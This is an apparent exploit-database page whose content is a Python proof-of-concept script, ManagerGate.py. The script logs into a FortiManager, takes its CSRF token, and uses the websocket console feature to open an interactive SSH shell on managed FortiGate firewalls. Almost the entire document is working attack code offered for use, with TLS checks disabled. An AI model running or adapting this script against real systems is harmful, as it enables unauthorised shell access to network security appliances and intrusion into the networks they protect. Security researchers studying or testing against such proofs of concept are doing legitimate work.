4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ManagerGate.py PY
# !/usr/bin/python3

import argparse
import asyncio
import cmd
import json
import os
import urllib.parse
from concurrent.futures import ThreadPoolExecutor
from urllib3.exceptions import InsecureRequestWarning

import requests
import aiohttp
import websocket


requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

CONSOLE_ID=-1
MTDID = 0


parser = argparse.ArgumentParser(prog='ManagerGate.py', description='get a shell on fortigate')

parser.add_argument('-H', '--host', help='host of the fortimanager', required=True)
parser.add_argument('-u', '--user', help='user to connect with to the fortimanager', required=True)
parser.add_argument('-p', '--password', help='password to connect to the fortimanager', required=True)
parser.add_argument('-d', '--deviceid', help='device oid to get a shell on')
parser.add_argument('-i', '--tunnelip', help='tunnel ip of the fortigate')
parser.add_argument('-l', '--local', help='local connect to fortimanager', action='store_true')
parser.add_argument('-x', '--proxy', help='proxy to reach fortimanger')
parser.add_argument('-U', '--gu', help='user to connect with to the fortigate', required=True)
parser.add_argument('-v', '--verbose')

args = parser.parse_args()
loop = asyncio.get_event_loop()

proxy = None
if args.proxy:
    proxy = args.proxy


async def login(client):
    login_request = {
        'url': '/gui/userauth',
        'method': 'login',
        'params': {
            'username': args.user,
            'secretkey': args.password,
            'logintype': 0
        }
    }
    async with client.post(f'https://{args.host}/cgi-bin/module/flatui_auth', json=login_request, proxy=proxy, verify_ssl=False) as resp:
        print(resp.status)
        return resp.status == 200


async def keep_alive(ws):
    await ws.send_str('--heartbeat--')
    async for msg in ws:
        if msg.data == '--heartbeat--':
            await ws.send_str('--heartbeat--')
            continue
        elif '"msg": "notify"' in msg.data:
            js=json.loads(msg.data)
            print(js['fields']['content'].replace('\\r', ''))
        else:
            continue
            print(msg.data)


async def handle_write(ws,CONSOLE_ID):
    mtd = 1
    while True:
        data = await ainput('>')
        data += '\r'
        jsdata = {
            'msg': 'method',
            'method': 'console',
            'params': {
                'action': 'xmit',
                'consoleId': CONSOLE_ID,
                'content': data
            },
            'id': 'mtd' + str(mtd)
        }
        mtd += 1
        await ws.send_json(jsdata)


async def ainput(prompt: str=''):
    with ThreadPoolExecutor(1, 'ainput') as executor:
        return (await asyncio.get_event_loop().run_in_executor(executor, input, prompt)).rstrip()


async def main():
    jar = aiohttp.CookieJar(unsafe=True)
    async with aiohttp.ClientSession(cookie_jar=jar) as client:
        if not await login(client):
            print('[E] login failure')
            exit(1)

        print('Fortimanager login OK')

        csrf_token = next(x.value for x in client.cookie_jar if x.key == 'HTTP_CSRF_TOKEN')
        async with client.ws_connect(
            f'wss://{args.host}/ws3?csrf_token={urllib.parse.quote(csrf_token,safe="")}',
            proxy=proxy,
            verify_ssl=False,
            headers={
                'Sec-WebSocket-Protocol': urllib.parse.quote(csrf_token,safe=''),
                'Connection': 'keep-alive, Upgrade'}
            ) as ws:
            if args.local:
                await ws.send_str(
                        f'{{"msg": "method", "method": "console", "params": {{"action": "connect", "consoleId": -1, "user":"admin", "type": "local","cols": 137, "rows": 40}}, "id": "mtd-1"}}')
            else:
                await ws.send_str(
                    f'{{"msg": "method", "method": "console", "params": {{"action": "connect", "consoleId": -1, "type": "remote", "ipaddr": "{args.tunnelip}", "port": 22,"user": "{args.gu}", "oid": "{args.deviceid}", "cols": 137, "rows": 40}}, "id": "mtd-1"}}')
            connection = await ws.receive_json()
            CONSOLE_ID = connection['result']['consoleId']
            keepalive = asyncio.create_task(keep_alive(ws))
            promt_task = asyncio.create_task(handle_write(ws,CONSOLE_ID))
            await asyncio.gather(promt_task, keepalive)


loop.run_until_complete(main())